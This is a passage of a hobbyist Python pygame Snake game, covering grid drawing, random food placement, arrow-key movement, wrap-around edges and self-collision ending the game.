        pygame.draw.rect(board, RED, (self.x_coord*BLOCK_W+MARGIN,self.y_coord*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))

    direction = RIGHT

#draw the grid lines
def draw_board():
    for row in range(ROWS):
        #horizontal line for each row
        pygame.draw.line(board, BLACK, (0,row*BLOCK_H), (WIN_W-1,row*BLOCK_H))
        #vertical line for each column
        pygame.draw.line(board, BLACK, (row*BLOCK_H,0), (row*BLOCK_H, WIN_H-1), MARGIN)

#populate grid with all zeros
def clear_grid(grid):
    for row in range(ROWS):
        grid.append([])
        for col in range(COLS):
            #assign each grid cell the value of 0
            grid[row].append([])
            grid[row][col] = WHITE_BLOCK

#draw a random green square and set corresponding grid value
def green_square(grid):
    #get random coordinates
    randx = random.randint(0,COLS-1)
    randy = random.randint(0,ROWS-1)
    #repeat until the grid space is not part of the snake
    while grid[randy][randx] == SNAKE_BLOCK:
        randx = random.randint(0,COLS-1)
        randy = random.randint(0,ROWS-1)

    #draw green rectangle at the random coordinates
    pygame.draw.rect(board, GREEN, (randx*BLOCK_W+MARGIN,randy*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))

    #set grid value to green
    grid[randy][randx] = GREEN_BLOCK

#Running the game
def main():
    #fill grid with white
    board.fill(WHITE)

    #draw grid lines
    draw_board()

    #empty grid
    grid_vals = []

    #seed random generator
    random.seed()

    #clear grid values(set all to zero)
    clear_grid(grid_vals)

    #initial green square
    green_square(grid_vals)

    #create the snake character
    s = Snake(grid_vals)

    run = True
    while run:
        pygame.time.delay(80)

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                run = False

        #get all key values
        keys = pygame.key.get_pressed()

        #determine direction that the snake should move
        if keys[pygame.K_UP]:
            s.direction = UP
        if keys[pygame.K_DOWN]:
            s.direction = DOWN
        if keys[pygame.K_LEFT]:
            s.direction = LEFT
        if keys[pygame.K_RIGHT]:
            s.direction = RIGHT

        #clear board
        #deal with edge cases. Pacman effect(continued on line 175)
        for num in range(0,s.length + 1):
            if s.coords[num][0] == ROWS-1 and s.direction == UP:
                grid_vals[0][s.coords[num][1]] = WHITE_BLOCK
                pygame.draw.rect(board, WHITE, (s.coords[num][1]*BLOCK_W+MARGIN,0*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))
            elif s.coords[num][0] == 0 and s.direction == DOWN:
                grid_vals[ROWS-1][s.coords[num][1]] = WHITE_BLOCK
                pygame.draw.rect(board, WHITE, (s.coords[num][1]*BLOCK_W+MARGIN,(ROWS-1)*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))
            elif s.coords[num][1] == ROWS and s.direction == LEFT:
                grid_vals[s.coords[num][0]][0] = WHITE_BLOCK
                pygame.draw.rect(board, WHITE, (0*BLOCK_W+MARGIN,s.coords[num][0]*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))
            elif s.coords[num][1] == 0 and s.direction == RIGHT:
                grid_vals[s.coords[num][0]][ROWS-1] = WHITE_BLOCK
                pygame.draw.rect(board, WHITE, ((ROWS-1)*BLOCK_W+MARGIN,s.coords[num][0]*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))

            #clear board at previous coordinates
            grid_vals[s.coords[num][0]][s.coords[num][1]] = WHITE_BLOCK
            pygame.draw.rect(board, WHITE, (s.coords[num][1]*BLOCK_W+MARGIN,s.coords[num][0]*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))

        #Change coordinates
        if s.direction == UP:
            s.y_coord -= 1
        elif s.direction == DOWN:
            s.y_coord += 1
        elif s.direction == LEFT:
            s.x_coord -= 1
        else:
            s.x_coord += 1

        #move snake block
        #deal with edge cases. Pacman effect
        if s.y_coord == ROWS:
            s.y_coord = 0
        elif s.y_coord == -1:
            s.y_coord = ROWS - 1
        if s.x_coord == ROWS:
            s.x_coord = 0
        elif s.x_coord == -1:
            s.x_coord = ROWS - 1

        #check for green square and add to length if the snake found green square. Also generate
        #a new green square
        if grid_vals[s.y_coord][s.x_coord] == GREEN_BLOCK:
            s.length += 1
            s.coords.append([])
            green_square(grid_vals)

        #body blocks
        if s.length > 0:
            for num in range(s.length,0,-1):
                #This saves the previous coordinates(since the body blocks tail the head)
                s.coords[num] = s.coords[num-1]

                #draw the block and set the corresponding grid value (row = y,column = x)
                grid_vals[s.coords[num][0]][s.coords[num][1]] = SNAKE_BLOCK
                pygame.draw.rect(board, RED, (s.coords[num][1]*BLOCK_W+MARGIN,s.coords[num][0]*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))

        #if snake ran into itself
        if grid_vals[s.y_coord][s.x_coord] == SNAKE_BLOCK:
            run = False

        #head block
        s.coords[0] = [s.y_coord,s.x_coord]
        grid_vals[s.y_coord][s.x_coord] = SNAKE_BLOCK
        pygame.draw.rect(board, RED, (s.x_coord*BLOCK_W+MARGIN,s.y_coord*BLOCK_H+MARGIN,BLOCK_W-MARGIN,BLOCK_H-MARGIN))

        pygame.display.update()

main()
pygame.quit()